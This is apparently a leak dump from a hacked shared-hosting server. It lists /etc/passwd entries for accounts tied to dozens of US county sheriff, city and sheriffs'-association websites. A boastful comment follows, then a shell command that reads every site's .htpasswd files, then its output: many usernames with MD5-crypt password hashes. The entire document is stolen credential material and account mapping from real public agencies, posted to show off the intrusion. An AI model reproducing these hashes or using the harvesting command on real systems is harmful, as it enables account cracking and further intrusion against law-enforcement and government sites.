  557. psaadm:x:502:502:Plesk user:/usr/local/psa/admin:/sbin/nologin
  558. popuser:x:110:31:POP3 service user:/var/qmail/popuser:/sbin/nologin
  559. mhandlers-user:x:30:31:mail handlers user:/:/sbin/nologin
  560. webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
  561. psaftp:x:503:504:anonftp psa user:/:/sbin/nologin
  562. alias:x:2021:2020:Qmail User:/var/qmail/alias:/sbin/nologin
  563. qmaild:x:2020:2020:Qmail User:/var/qmail/:/sbin/nologin
  564. qmaill:x:2022:2020:Qmail User:/var/qmail/:/sbin/nologin
  565. qmailp:x:2023:2020:Qmail User:/var/qmail/:/sbin/nologin
  566. qmailq:x:2520:2520:Qmail User:/var/qmail/:/sbin/nologin
  567. qmailr:x:2521:2520:Qmail User:/var/qmail/:/sbin/nologin
  568. qmails:x:2522:2520:Qmail User:/var/qmail/:/sbin/nologin
  569. postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
  570. drweb:x:101:2523:DrWeb system account:/var/drweb:/bin/false
  571. jdpa:x:10001:2522::/var/www/vhosts/20jdpa.com:/bin/false
  572. barms:x:10002:2522::/var/www/vhosts/barrycountysheriff.com:/bin/false
  573. bcsd:x:10003:2522::/var/www/vhosts/baxtercountysheriff.com:/bin/bash
  574. bjm:x:10004:2522::/var/www/vhosts/mostwantedwebsites.net:/bin/false
  575. demo:x:10005:2522::/var/www/vhosts/mostwantedwebsites.net/subdomains/demo:/bin/
  576. false
  577. dymin:x:10006:2522::/var/www/vhosts/mostwantedwebsites.net/subdomains/dymin:/bin
  578. /false
  579. dcsd:x:10007:2522::/var/www/vhosts/drewcountysheriff.com:/bin/false
  580. bocg:x:10008:2522::/var/www/vhosts/boonecountyar.com:/bin/false
  581. crcsd:x:10009:2522::/var/www/vhosts/crosscountysheriff.org:/bin/false
  582. bocs:x:10010:2522::/var/www/vhosts/boonesheriff.com:/bin/false
  583. izhth:x:10011:2522::/var/www/vhosts/izardhometownhealth.com:/bin/false
  584. mcmtn:x:10012:2522::/var/www/vhosts/mcminncountysheriff.com:/bin/false
  585. ccsal:x:10013:2522::/var/www/vhosts/cherokeecountyalsheriff.com:/bin/false
  586. tunms:x:10014:2522::/var/www/vhosts/tunicamssheriff.com:/bin/false
  587. ccsd:x:10015:2522::/var/www/vhosts/cleburnecountysheriff.com:/bin/false
  588. ciwy:x:10016:2522::/var/www/vhosts/cityofwynne.com:/bin/false
  589. ncsd:x:10017:2522::/var/www/vhosts/newtoncountysheriff.org:/bin/false
  590. icsd:x:10019:2522::/var/www/vhosts/izardcountysheriff.org:/bin/false
  591. shsd:x:10020:2522::/var/www/vhosts/sharpcountysheriff.com:/bin/false
  592. polms:x:10021:2522::/var/www/vhosts/polkcountymosheriff.org:/bin/false
  593. grcg:x:10023:2522::/var/www/vhosts/grantcountyar.com:/bin/false
  594. lawmo:x:10024:2522::/var/www/vhosts/lawrencecosheriff.com:/bin/false
  595. johms:x:10025:2522::/var/www/vhosts/jocomosheriff.org:/bin/false
  596. sacsd:x:10026:2522::/var/www/vhosts/scsosheriff.org:/bin/false
  597. jcsd:x:10027:2522::/var/www/vhosts/jacksonsheriff.org:/bin/false
  598. gcsd:x:10028:2522::/var/www/vhosts/grantcountysheriff-collector.com:/bin/false
  599. izcg:x:10029:2522::/var/www/vhosts/izardcountyar.org:/bin/false
  600. jocsd:x:10030:2522::/var/www/vhosts/johnsoncosheriff.com:/bin/false
  601. scsd:x:10031:2522::/var/www/vhosts/sebastiancountysheriff.com:/bin/false
  602. bjm2:x:10032:2522::/var/www/vhosts/mostwantedgovernmentwebsites.com:/bin/false
  603. test:x:10033:10033::/home/test:/bin/bash
  604. bcsd_sync:x:10034:10034::/var/www/vhosts/baxtercountysheriff.com/home:/bin/bash
  605. ccsal_synce:x:10035:10035::/home/ccsal_synce:/bin/bash
  606. ccsal_sync:x:10036:10036::/var/www/vhosts/cherokeecountyalsheriff.com/home:/bin/
  607. bash
  608. kluser:x:10037:10037:Kaspersky AntiVirus scanner user:/var/db/kav:/sbin/nologin
  609. tigeraccessftp:x:10038:10038::/var/www/vhosts/crosscountysheriff.org/home:/bin/
  610. bash
  611. vbcsd:x:10039:2522::/var/www/vhosts/vbcso.com:/bin/false
  612. jonms2:x:10040:2522::/var/www/vhosts/jonesso.com:/bin/false
  613. ccsoks:x:10041:2522::/var/www/vhosts/cherokeecountykssheriff.com:/bin/false
  614. crcg:x:10042:2522::/var/www/vhosts/crosscountyar.org:/bin/false
  615. tcsoms:x:10043:2522::/var/www/vhosts/tatecountysheriff.com:/bin/false
  616. hcsoks:x:10018:2522::/var/www/vhosts/hodgemansheriff.us:/bin/false
  617. jcsoks:x:10044:2522::/var/www/vhosts/jeffersoncountykssheriff.com:/bin/false
  618. mosa:x:10045:2522::/var/www/vhosts/mosheriffs.com:/bin/false
  619. pcsoks:x:10046:2522::/var/www/vhosts/prattcountysheriff.com:/bin/false
  620. johms_sync:x:10047:10047::/var/www/vhosts/jocomosheriff.org/home:/bin/bash
  621. hcsar:x:10022:2522::/var/www/vhosts/howardcountysheriffar.com:/bin/false
  622. hscar:x:10048:2522::/var/www/vhosts/hotspringcountysheriff.com:/bin/false
  623. pcsoia:x:10049:2522::/var/www/vhosts/plymouthcountysheriff.com:/bin/false
  624. mcsd:x:10050:2522::/var/www/vhosts/marioncountysheriffar.com:/bin/false
  625. wsoks:x:10051:2522::/var/www/vhosts/woodsonsheriff.com:/bin/false
  626. mosa2010:x:10052:10052::/var/www/vhosts/mosheriffs.com/httpdocs/academy/
  627. file_manager:/bin/bash
  628. faoret:x:10053:2522::/var/www/vhosts/faoret.com:/bin/false
  629. bcso_tiger:x:10054:2522::/var/www/vhosts/boonesheriff.com/home:/bin/false
  630. stcsd:x:10055:2522::/var/www/vhosts/stonecountysheriff.com:/bin/false
  631. ccsoms:x:10056:2522::/var/www/vhosts/coahomacountysheriff.com:/bin/false
  632. kcsoms:x:10057:2522::/var/www/vhosts/kempercountysheriff.com:/bin/false
  633. pcsoks_sync:x:10058:10058::/var/www/vhosts/prattcountysheriff.com/home:/bin/
  634. false
  635. mocsd:x:10059:2522::/var/www/vhosts/monroecountysheriffar.com:/bin/false
  636. postfix:x:89:89::/var/spool/postfix:/sbin/nologin
  637. bcsoga:x:10060:2522::/var/www/vhosts/bakercountysheriffoffice.org:/bin/false
  638. jonms_sync:x:10061:10061::/var/www/vhosts/jonesso.com/home:/bin/bash
  639. jcsoks_sync:x:10062:10062::/var/www/vhosts/jeffersoncountykssheriff.com/home:/
  640. bin/bash
  641. cpsola:x:10063:2522::/var/www/vhosts/cameronso.org:/bin/false
  642. cgsomo:x:10064:2522::/var/www/vhosts/capecountysheriff.org:/bin/false
  643. sfsoar:x:10065:2522::/var/www/vhosts/stfranciscountysheriff.org:/bin/false
  644. sfsoar_sync:x:10066:10066::/var/www/vhosts/stfranciscountysheriff.org/home:/bin/
  645. bash
  646. code:x:10067:2522::/var/www/vhosts/mostwantedwebsites.net/subdomains/code:/bin/
  647. false
  648. fcsoga:x:10068:2522::/var/www/vhosts/floydcountysheriff.org:/bin/false
  649. mcsoga:x:10069:2522::/var/www/vhosts/meriwethercountysheriff.org:/bin/false
  650. code2:x:10070:2522::/var/www/vhosts/admin.mostwantedwebsites.net:/bin/false
  651. kcsoil:x:10071:2522::/var/www/vhosts/knoxcountysheriffil.com:/bin/false
  652. mcsoal:x:10072:2522::/var/www/vhosts/marionsoal.com:/bin/false
  653. sgsomo:x:10073:2522::/var/www/vhosts/sgcso.com:/bin/false
  654. gcsoms:x:10074:2522::/var/www/vhosts/georgecountymssheriff.com:/bin/false
  655. stoms:x:10075:2522::/var/www/vhosts/stonecountymosheriff.com:/bin/false
  656. hcsar_sync:x:10076:10076::/var/www/vhosts/howardcountysheriffar.com/home/:/bin/
  657. bash
  658. alsa:x:10077:2522::/var/www/vhosts/alabamasheriffs.com:/bin/false
  659. pcsoar:x:10078:2522::/var/www/vhosts/perrycountysheriffar.org:/bin/false
  660. rcsd:x:10079:2522::/var/www/vhosts/randolphcountysheriff.org:/bin/false
  661. tisoms:x:10081:2522::/var/www/vhosts/tishomingocountysheriff.com:/bin/false
  662. stoms_sync:x:10082:10082::/var/www/vhosts/stonecountymosheriff.com/home:/usr/
  663. libexec/openssh/sftp-server
  664. prsoar:x:10083:2522::/var/www/vhosts/prairiecountysheriff.org:/bin/false
  665. mcsd_sync:x:10084:10084::/var/www/vhosts/marioncountysheriffar.com/home/xmlapp:/
  666. bin/bash
  667. jccgms:x:10086:2522::/var/www/vhosts/jeffersoncountyms.gov:/bin/false
  668. ccsook:x:10087:2522::/var/www/vhosts/sheriffcomanche.com:/bin/false
  669. fcsoar:x:10088:2522::/var/www/vhosts/fultoncountyso.org:/bin/false
  670. poalac:x:10085:2522::/var/www/vhosts/poalac.org:/bin/false
  671. arsa:x:10091:2522::/var/www/vhosts/arkansassheriffsassociation.com:/bin/false
  672. rcpica:x:10080:2522::/var/www/vhosts/rcpi-ca.org:/bin/false
  673. ciga:x:10092:2522::/var/www/vhosts/cityofgassville.org:/bin/false
  674. sfcgar:x:10093:2522::/var/www/vhosts/stfranciscountyar.org:/bin/false
  675. lcsomo:x:10094:2522::/var/www/vhosts/lcsdmo.com:/bin/false
  676. tcsoal:x:10095:2522::/var/www/vhosts/talladegasheriff.org:/bin/false
  677. jwiegand:x:10096:10096::/home/jwiegand:/bin/bash
  678. bcsf:x:10097:2522::/var/www/vhosts/baxtercountysherifffoundation.org:/bin/false
  679. prsoms:x:10089:2522::/var/www/vhosts/prentisscountymssheriff.com:/bin/false
  680. acsoms:x:10098:2522::/var/www/vhosts/adamscosheriff.org:/bin/false
  681. kssa:x:10099:2522::/var/www/vhosts/kansassheriffs.org:/bin/false
  682.  
  683. // CAT'N HUNDREDS OF .HTPASSWD FILES IN ONE COMMAND LIKE A BOSS
  684.  
  685. $ cat /var/www/vhosts/*/pd/*
  686. 2010user:$1$YfJPNAST$w9rRAaYhAMjpkw.GRLUD90
  687. jdpa:$1$e1JbcQkZ$sR59gW8uPd/6Dyae9xneL0
  688. jdpa:$1$uBEldfcW$mzSY61wj97PN41JWNPcA9/
  689. jdpa:$1$e1JbcQkZ$sR59gW8uPd/6Dyae9xneL0
  690. acsoms:$1$/OuADgxB$l7pPU2kXeKlw7Iz9NLGID.
  691. acsoms:$1$uDsXPWpq$mhRoR3B3JicVBpuHWxYue1
  692. acsoms:$1$uDsXPWpq$mhRoR3B3JicVBpuHWxYue1
  693. code:$1$7.KAx/YD$J7SuxsDsBOij.qgPD3GJ60
  694. code:$1$7.KAx/YD$J7SuxsDsBOij.qgPD3GJ60
  695. alsa:$1$gg9rFhvF$S41htlhsl3AJYZu4dKWR50
  696. alsa:$1$RnNxf5wV$NMmcQvODrjBzyi0RI1MqO.
  697. alsa:$1$RnNxf5wV$NMmcQvODrjBzyi0RI1MqO.
  698. arsa:$1$uKT57hqw$3KrrKngKKD.J8nFMYq0nf/
  699. arsa2:$1$T5fkiwpg$e/uoUu17TnKUZU2pcgZhw1
  700. arsa:$1$3GhQNCaB$27W57EtzM3cih1f3mq3PJ.
  701. arsa2:$1$T5fkiwpg$e/uoUu17TnKUZU2pcgZhw1
  702. arsa:$1$3GhQNCaB$27W57EtzM3cih1f3mq3PJ.
  703. bcsoga:$1$wD0B3RJw$F/kRNzUrqyAsXGEZUUt7t.
  704. bcsoga:$1$WYfgp0d5$yGsh3sHH74GpPqmsI./K..
  705. bcsoga:$1$WYfgp0d5$yGsh3sHH74GpPqmsI./K..
  706. barms:$1$SUoLPR6X$xTEXrkDGFZax3XGxa0RIv.
  707. barms:$1$n5/TqDsD$Je.PVoLmE.WjgYgnPOOZ91
  708. barms:$1$2bdOu.yt$HfX7Ziq4mwgqQxFCBlnNq0
  709. barms:$1$SUoLPR6X$xTEXrkDGFZax3XGxa0RIv.
  710. barms:$1$n5/TqDsD$Je.PVoLmE.WjgYgnPOOZ91
  711. bcsd:$1$.wyutJHS$fI7mFoV8F0txtXS3yCYxr.
  712. bcsd:$1$8HNY0AzH$FLIStjcXdzSLFnVcWOs7/1
  713. bcsf:$1$/xEB/mNM$5JyBevwhGqzByNokDINVe/
  714. bcsf:$1$hRqF1Z2z$/FHJTOkZj0hUgiPlQ0vfc/
  715. bcsf:$1$hRqF1Z2z$/FHJTOkZj0hUgiPlQ0vfc/
  716. bocg:$1$d04I8Pzb$W0qBTons8Dmm2Jw9We3xB/
  717. bocg:$1$02/JMqdi$AlaU02rOAV3KvEnUNNL8D0
  718. bocg:$1$GvD5EuF.$RZ/I71SmN2YCppnS3KtbT0
  719. bocg:$1$02/JMqdi$AlaU02rOAV3KvEnUNNL8D0
  720. bocs:$1$oZB0olYk$/qQ.rLe8/yBnA5lT4HDga1
  721. bocs:$1$VKqRM2ax$zoW/qKKWb8gOJtgV0fq4l0
  722. bocs:$1$qsQEjN0k$8UNgs23OwLrA73XUXxSCa.
  723. bocs:$1$VKqRM2ax$zoW/qKKWb8gOJtgV0fq4l0
  724. cpsola:$1$A0/je.pN$ZGoDb3fmCJdQ1qUB6aRhk1
  725. cpsola:$1$xW03epN7$kzwfnnjUKA9gDDkKY8wW90
  726. cpsola:$1$xW03epN7$kzwfnnjUKA9gDDkKY8wW90
  727. cgsomo:$1$VEkM1y42$PkxqdiFVBiJ6pt/lbKd1M1
  728. cgsomo:$1$pxHLS2OD$o2/3rANs15wVSytWjf2dW.
  729. cgsomo:$1$VEkM1y42$PkxqdiFVBiJ6pt/lbKd1M1
  730. cgsomo:$1$pxHLS2OD$o2/3rANs15wVSytWjf2dW.
  731. ccsal:$1$nqrzKwH1$1SUCJG3Ge1jLbd6a4pd.61
  732. ccsal:$1$P2GM8ay4$CT6rlv6.Pa.gnGvdH/jGd0
  733. ccsal:$1$IexvBxv4$d.exkq9idTn05wW6smXSF1
  734. ccsal:$1$P2GM8ay4$CT6rlv6.Pa.gnGvdH/jGd0
  735. ccsoks:$1$KKczisBp$d1rBOCK8iRkjmBZhv.YXp.
  736. ccsoks:$1$BbttpHqg$TzMxb1f40QefP8kSIEpJn/
  737. ciga:$1$Rv6VwWuC$vB55fX6KtgnttO7Bwjni71
  738. ciga:$1$TmVOejq7$6l3ck2oHWua3./QacXOOY0
  739. ciga:$1$Rv6VwWuC$vB55fX6KtgnttO7Bwjni71
  740. ciga:$1$TmVOejq7$6l3ck2oHWua3./QacXOOY0
  741. ciwy:$1$/DFbGKuZ$NNH1VE8TXfaBhuJHDca2x1
  742. ciwy:$1$Hj5GiFRd$67iKTvcJ/vIn5QhHz0GSi.
  743. ciwy:$1$9olIl6Nc$ycMPhxfVWGJ5Ka5ZLlEtK0
  744. ciwy:$1$Hj5GiFRd$67iKTvcJ/vIn5QhHz0GSi.
  745. ccsd:$1$IT4RKfjK$um0Ty6wMJ8O7kIIbIJqRD1
  746. ccsd:$1$MtoFD9pW$WwKV7ocH2WZ4XeQIUji2t.
  747. ccsd:$1$SORBbPS1$MPxim.kDNpNeuwwAE2Ugb0
  748. ccsd:$1$MtoFD9pW$WwKV7ocH2WZ4XeQIUji2t.
  749. ccsoms:$1$PGQZTZay$8g.aw5516ifzB9pfGUdZX.
  750. ccsoms:$1$1jGRZXFI$M.ZHK0GCyYN9fDSzvXJqj1
  751. ccsoms:$1$1jGRZXFI$M.ZHK0GCyYN9fDSzvXJqj1
  752. crcg:$1$ygtelVAp$E9V85e3doWLLyyCMCv2KB1
  753. crcg:$1$5su/.Qwz$X2HHctVlA6/HYhpzsR0c4.
  754. crcg:$1$5su/.Qwz$X2HHctVlA6/HYhpzsR0c4.
  755. crcsd:$1$r7WoQcbv$fR4knFo1YqBYUb91ES7/K.
  756. crcsd:$1$cEVq9UZj$6hN2GCkyMdjGihvuErMm5.
  757. crcsd:$1$cEVq9UZj$6hN2GCkyMdjGihvuErMm5.
  758. dcsd:$1$/3GteTce$sYf4e6A7O0ais2J1EyTMz.
  759. dcsd:$1$3uDJVnXz$ACH.YfW7RD6IkUmBJw.Qf1
  760. dcsd:$1$BBBW.zd2$G4ZJegTfHreCJXwojwA8P0
  761. dcsd:$1$3uDJVnXz$ACH.YfW7RD6IkUmBJw.Qf1
  762. fcsoga:$1$oC0dNlM6$GfFCuZ2N2UnKMI9MZWbwb1
  763. fcsoga:$1$OFx4pJAP$rtexMxn/zMfeVJ5X0b8Ht0
  764. fcsoga:$1$OFx4pJAP$rtexMxn/zMfeVJ5X0b8Ht0
  765. fcsoar:$1$NV21fnUn$TKRx2pGwv65iFBNS14mTF0
  766. fcsoar:$1$NV21fnUn$TKRx2pGwv65iFBNS14mTF0
  767. gcsoms:$1$Cp0Vf.Mu$9eMW4Joy12hktH7WGrBgE/
  768. gcsoms:$1$ZJfK81Ef$mxUuwQyIxgR9Tcry9GaPJ0
  769. gcsoms:$1$Cp0Vf.Mu$9eMW4Joy12hktH7WGrBgE/
  770. gcsoms:$1$ZJfK81Ef$mxUuwQyIxgR9Tcry9GaPJ0
  771. grcg:$1$Ivu4aPQu$weOoXmrm8jtNOUrFTS3vf.
  772. grcg:$1$BtNB1Qvt$MECZW/z2scG0.YmU0275P1
  773. grcg:$1$HPX7vhZO$LWzATw3fluPOYFYnDd3I61
  774. grcg:$1$BtNB1Qvt$MECZW/z2scG0.YmU0275P1
  775. gcsd:$1$T7O8tM.l$AUYTc4uhY7aYuhVfHNW/9/
  776. gcsd:$1$.Kid76wv$TXtyOAf2OBlWRYpLETtmI/
  777. gcsd:$1$07x6ii.Y$K33yOQCuMu9juWBU0.tw31
  778. gcsd:$1$.Kid76wv$TXtyOAf2OBlWRYpLETtmI/
  779. hcsoks:$1$3qklJZQ5$ERPeSxH1DtuX2pis0ah0q0
  780. hcsoks:$1$AuLMRUku$8SKs01E6RyoJdROiAYDyc1
  781. hcsoks:$1$AuLMRUku$8SKs01E6RyoJdROiAYDyc1
  782. hscar:$1$gJJLpsPa$lQkGfO6sT0TM/p/ACmieM0
  783. hscar:$1$7a5hW/P0$MQLz4hMPtybIEnXacaxkB/
  784. hscar:$1$7a5hW/P0$MQLz4hMPtybIEnXacaxkB/
  785. hcsar:$1$Jy4Wo5AA$dgDDznszPUBYPmuM7eBj9.
  786. hscar:$1$563phfjq$fJXMTTDBQFGqbC41mVBCc1
  787. hcsar:$1$mwnHyqQU$tLX26Szlbqp7IXYIp5Djt0
  788. hscar:$1$563phfjq$fJXMTTDBQFGqbC41mVBCc1
  789. hcsar:$1$mwnHyqQU$tLX26Szlbqp7IXYIp5Djt0
  790. izcg:$1$SzRnGt.T$085pTzlcqWgJv7DguG6dv1
  791. izcg:$1$rxszlSxW$JxnDEaPC8rll/JZuNY8sI/
  792. izcg:$1$rxszlSxW$JxnDEaPC8rll/JZuNY8sI/
  793. icsd:$1$XwGJZ7Ia$sj99HKjkzILx6qGDiWmHy.
  794. icsd:$1$VHblzCiz$PK3BhSLA03R2DgweLIhb.0
  795. icsd:$1$vo3ZSlXF$DTLKCc/7z6IFgvbFtvCAT1
  796. icsd:$1$VHblzCiz$PK3BhSLA03R2DgweLIhb.0
  797. izhth:$1$mrQmTDHz$Nr02zDwC5m7NxplWZWW0O/
  798. izhth:$1$kW3h3D6.$ti22h0sbYTzw/Ofgjk8Rm1
  799. izhth:$1$IbDSXX4O$sFVTpg5ts1EagLkzoNZQ30
  800. izhth:$1$kW3h3D6.$ti22h0sbYTzw/Ofgjk8Rm1
  801. jcsd:$1$ZkEh5MIb$v3l1z3PQZ5yyG5ABzWef2/
  802. jcsd:$1$A87LOoWD$u80mHmVF294QXfQ7dVjb.0
  803. jcsd:$1$HgNpXLdQ$KPP62pOHPjl7XslEBTqGH/
  804. jcsd:$1$A87LOoWD$u80mHmVF294QXfQ7dVjb.0
  805. jcsoks:$1$Z/D6TvAM$JGvIns6wx.RCPwv0C51TJ/
  806. jcsoks:$1$OHfiOqfm$8tGCZ2uTAHXRBRNyJqazZ.
  807. jcsoks:$1$OHfiOqfm$8tGCZ2uTAHXRBRNyJqazZ.
  808. jccgms:$1$aHstkoLz$tOpRH9HwTGLjSF7YZRiuo.
  809. jccgms:$1$cPnrWOYL$jpmVU3beLfxNR.98st9wR.
  810. jccgms:$1$xi9Cf0im$4vC24C1vlcoteo1aDEFJW.
  811. jccgms:$1$cPnrWOYL$jpmVU3beLfxNR.98st9wR.
  812. johms:$1$fmryjChe$CwJyPptiu0Iwcai2LUTPu0
  813. johms:$1$EGoRh47t$VeQc8nUMJpn0S0fPyvp0i1
  814. johms:$1$nykSrZ50$0yH62S8FZq3NOczux2cjC/
  815. johms:$1$EGoRh47t$VeQc8nUMJpn0S0fPyvp0i1
  816. jocsd:$1$s63jViKP$gaT9byX/ySNJDMkA5.PCd.
  817. jocsd:$1$9Zmq1s1M$/xBn12NyVfewPRMH0J73M1
  818. jocsd:$1$u.mk/ipa$.WSRBIK6MvsWHcfTMt//I/
  819. jocsd:$1$9Zmq1s1M$/xBn12NyVfewPRMH0J73M1
  820. jonms:$1$fLjLWKCb$UDgyy9UzkwyiJC7AWtD40/
  821. jonms:$1$GAvUpe2m$GBlG9CkDHQT7/w5eTW/Zt0
  822. jonms2:$1$vyR1pe5I$ID4xTk5I3FHrrZ3BhYvgS.
  823. jonms:$1$GAvUpe2m$GBlG9CkDHQT7/w5eTW/Zt0
  824. jonms2:$1$vyR1pe5I$ID4xTk5I3FHrrZ3BhYvgS.
  825. kssa:$1$YlbQvrcd$ruaMsfYDwhVlH1k/LGlIJ.
  826. kssa:$1$nhxP66t9$GECAPnEVRDk9YnmSpzBzw/
  827. kssa:$1$nhxP66t9$GECAPnEVRDk9YnmSpzBzw/
  828. kcsoms:$1$goZMALd1$JnxVQ9J603tEsthqkadvE.
  829. kcsoms:$1$Aku.pAac$sQku4Yf6IslqTJkGHyAYS1
  830. kcsoms:$1$Aku.pAac$sQku4Yf6IslqTJkGHyAYS1
  831. kcsoil:$1$4XOK98tG$kjOUaIN3ZNZepl3aCHijc.
  832. kcsoil:$1$mnLz6xRu$uymq2TMKdpBwAmMiLszwK0
  833. kcsoil:$1$mnLz6xRu$uymq2TMKdpBwAmMiLszwK0
  834. lawmo:$1$MezHiiqn$OoLtNNLAm20gBBvW0BtOB0
  835. lawmo:$1$h11BRv3g$wA.ITq8U0Cq4N4ZHoDVmC0
  836. lawmo:$1$5jjY0Omy$eWZkfvCtF0tLdyDv9fmnC0
  837. lcsomo:$1$I/cdxg/g$Pn2tTJK776Si9phzUfNzT1
  838. lcsomo:$1$MkJfhMLZ$rAq1JH9h2GUCMAt2ee2Pe.
  839. lcsomo:$1$MkJfhMLZ$rAq1JH9h2GUCMAt2ee2Pe.
  840. mcsd:$1$NZpwhOoE$4zeC8H.PhoyVjsBhB4VFb1
  841. mcsd:$1$7WN0tH.P$dF0W1vtyA905OcSktC2TG0
  842. mcsd:$1$7WN0tH.P$dF0W1vtyA905OcSktC2TG0
  843. mcsoal:$1$pXqWNJx3$1brOy.05LrQ82qohEMM5k0
  844. mcsoal:$1$1/1E1eTW$epzJFtOGo/Me/eeo.6Dg//
  845. mcsoal:$1$pXqWNJx3$1brOy.05LrQ82qohEMM5k0
  846. mcsoal:$1$OPKYzsqo$WmTHzrV/WlbZPH4JWKQ41.
  847. mcmtn:$1$dJKz4stC$wxWzTBkC76Mox8yv5i8z9/
  848. mcmtn:$1$eiPrIslY$DwuwtcCE/lZGRRERwQzLj.
  849. mcmtn:$1$AGtoxXro$zlQV8/C674RTOhMwp9Pqf1
  850. mcmtn:$1$eiPrIslY$DwuwtcCE/lZGRRERwQzLj.
  851. mcsoga:$1$p2oL7Pi5$LusOSWnvUHofJ0iAvhvEr0
  852. mcsoga:$1$JBIgDN3w$NaxB7Cv29dmMlHu7SeULe0
  853. mcsoga:$1$JBIgDN3w$NaxB7Cv29dmMlHu7SeULe0
  854. mocsd:$1$1bJZUS9v$9cPKxA8hiX1bKbCz6Js1i1
  855. mocsd:$1$SsZ3rxzM$knv3hb7EWCbl8PV5HKL7H/
  856. mocsd:$1$SsZ3rxzM$knv3hb7EWCbl8PV5HKL7H/
  857. mosa:$1$KHDMeYMH$n2TpSddsFNMedje0Wae1n0
  858. mosa:$1$q4tmIHbo$ntiw9G1B1q.WciNBRMivy.
  859. mosa:$1$KHDMeYMH$n2TpSddsFNMedje0Wae1n0
  860. mosa:$1$q4tmIHbo$ntiw9G1B1q.WciNBRMivy.
  861. CityPass:$1$pJ75xXss$N1LTh9EwM.aKAeZBjdp7N/
  862. PerryCounty:$1$T6K61l6D$05/rRhPd6fDPqVuJUQKfF/
  863. bjm2:$1$siaaoUej$HKLUXyUyF1MDSxZxZwuA60
  864. bjm:$1$bXLmD2bt$4Rk5jfA2x8UcJ7W4Tw35s0
  865. bjm2:$1$siaaoUej$HKLUXyUyF1MDSxZxZwuA60
  866. bjm:$1$Sx95fGzg$6ASZ4J6kjziYIDH6xQcki1
  867. 2010user:$1$vFJrv2A6$K82FAw89ZvDc1pvHdLhA21
  868. bjm:$1$Ok6D4NjH$EwV/0tzoir0Jg7tMNdaCi0
  869. bjm:$1$Ds5nOfeW$snloc4PMymDdgG5ld6wjw/
  870. bjm:$1$Ok6D4NjH$EwV/0tzoir0Jg7tMNdaCi0
  871. ncsd:$1$3Ocas0HS$Wg2AZygMmPne.rCxh4n9Y0
  872. ncsd:$1$oG2ozgkS$rWU7H1tSjruBwWTcgp7/Q1
  873. ncsd:$1$bSp.iYg8$cr1ZzEYuBTVU.vCPhC6sw/
  874. ncsd:$1$oG2ozgkS$rWU7H1tSjruBwWTcgp7/Q1
  875. pcsoar:$1$K6/0rhqT$wRDJbN4R.bqsfghHNriYL0
  876. pcsoar:$1$UccqZPzO$B340qL0btZjpC4B5sXjRA0
  877. pcsoar:$1$K6/0rhqT$wRDJbN4R.bqsfghHNriYL0
  878. pcsoar:$1$UccqZPzO$B340qL0btZjpC4B5sXjRA0
  879. pcsoia:$1$e3ASKnqy$ps9LSniLjC3kOkGaGn5YM0
  880. pcsoia:$1$yQNrFpc4$RHckr28Py0PEuaud1iwo50
  881. pcsoia:$1$yQNrFpc4$RHckr28Py0PEuaud1iwo50
  882. poalac:$1$wHCRN78K$bCGrbmh1nNblDl7T/qzaj.
  883. poalac:$1$JsmvqHiU$o/tq6grKR/zCLOY2Uz9gS1
  884. poalac:$1$wHCRN78K$bCGrbmh1nNblDl7T/qzaj.
  885. poalac:$1$JsmvqHiU$o/tq6grKR/zCLOY2Uz9gS1
  886. polms:$1$0WmykzWZ$TliFQQUb.tPhPMpuuaotW0
  887. polms:$1$AWXV65hR$v1sMwFsSjZNrkfrNqgHmy.
  888. polms:$1$0WmykzWZ$TliFQQUb.tPhPMpuuaotW0
  889. polms:$1$AWXV65hR$v1sMwFsSjZNrkfrNqgHmy.
  890. prsoar:$1$2jmIGv7j$0zSfngOL9UeBLq/zsuFGg1
  891. prsoar:$1$EU8wJZpQ$J8f.N8UKLOOfAJEfbUTAw0
  892. prsoar:$1$EU8wJZpQ$J8f.N8UKLOOfAJEfbUTAw0
  893. pcsoks:$1$84DZ5jUv$22478RXYSJ83Yon/VbXoq0
  894. pcsoks:$1$dWgONAoy$XDqV96Eij0BF.jLjwW7qr.
  895. pcsoks:$1$dWgONAoy$XDqV96Eij0BF.jLjwW7qr.
  896. prsoms:$1$Nfacesfq$cwqZNxlFjJo8N/RrOodIY1
  897. prsoms:$1$iuK4mNPP$4MRRvrhMfc.sniKZxGwFS.
  898. prsoms:$1$iuK4mNPP$4MRRvrhMfc.sniKZxGwFS.
  899. rcsd:$1$aM0/EhqP$HPTN/wX2L0ErPIsaYADow1
  900. rcsd:$1$bJTnrSZb$irgq.KT3PHaIXcb7fD9/11
  901. rcsd:$1$bJTnrSZb$irgq.KT3PHaIXcb7fD9/11
  902. rcpica:$1$6FIHrPeK$mspB9nNY4YNy/.9brKRlP.
  903. rcpica:$1$SlOVAGuO$CrMYHXoe5EsoBX5C3HN1R1
  904. rcpica:$1$SlOVAGuO$CrMYHXoe5EsoBX5C3HN1R1
  905. sacsd:$1$ZLGR289Y$KevSJOo0PezTAqatJUouK.
  906. sacsd:$1$L6oPyMeK$WJlfrokd6bZl8XzNAuwRx1
  907. sacsd:$1$dIxeOzw5$SdsN7F6iYxyryZLodaDHC0
  908. sacsd:$1$L6oPyMeK$WJlfrokd6bZl8XzNAuwRx1
  909. scsd:$1$aRIkZHPq$dYZwP7SrhhumFy6QVTNr1/
  910. scsd:$1$oJwcYy6M$/CY4yYYTWLsgIPvuGA6qZ0
  911. scsd:$1$L05Gndoq$V8OevuZqUMK//gsBOPmxq1
  912. scsd:$1$oJwcYy6M$/CY4yYYTWLsgIPvuGA6qZ0
  913. sgsomo:$1$kFw.79HG$KMcvV/zhzzB2PUzy0860N.
  914. sgsomo:$1$gG5yK4xU$ONDYP.tlcg6YTaB9NSAyJ0
  915. sgsomo:$1$gG5yK4xU$ONDYP.tlcg6YTaB9NSAyJ0
  916. shsd:$1$2Qzvqur1$erX5RIvC9bt48DoK9UXgn1
  917. shsd:$1$KkowHXJI$0OENU1ePlaa16r6/R66RM.
  918. shsd:$1$dWHRMEmO$r0SD3BNmRZFNgcJjd2zJh.
  919. shsd:$1$KkowHXJI$0OENU1ePlaa16r6/R66RM.
  920. ccsook:$1$vI8JJAm1$XXWEHCO6htvjMb56c/HE9/
  921. ccsook:$1$jcQ9B6fS$h6xEznJEHVN2AJCwSIarf1
  922. ccsook:$1$jcQ9B6fS$h6xEznJEHVN2AJCwSIarf1
  923. sfcgar:$1$EqTn7VjG$LWSf095sVWtuTPWQioUVt/
  924. sfcgar:$1$MUBD7oyy$.sTGmbMwRsdBYrfQXfbh6/
